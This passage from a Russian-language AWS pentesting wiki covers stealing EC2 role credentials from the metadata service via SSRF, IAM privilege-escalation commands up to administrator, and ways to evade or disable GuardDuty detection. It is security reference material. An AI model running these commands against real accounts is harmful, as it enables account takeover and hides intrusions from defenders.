&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
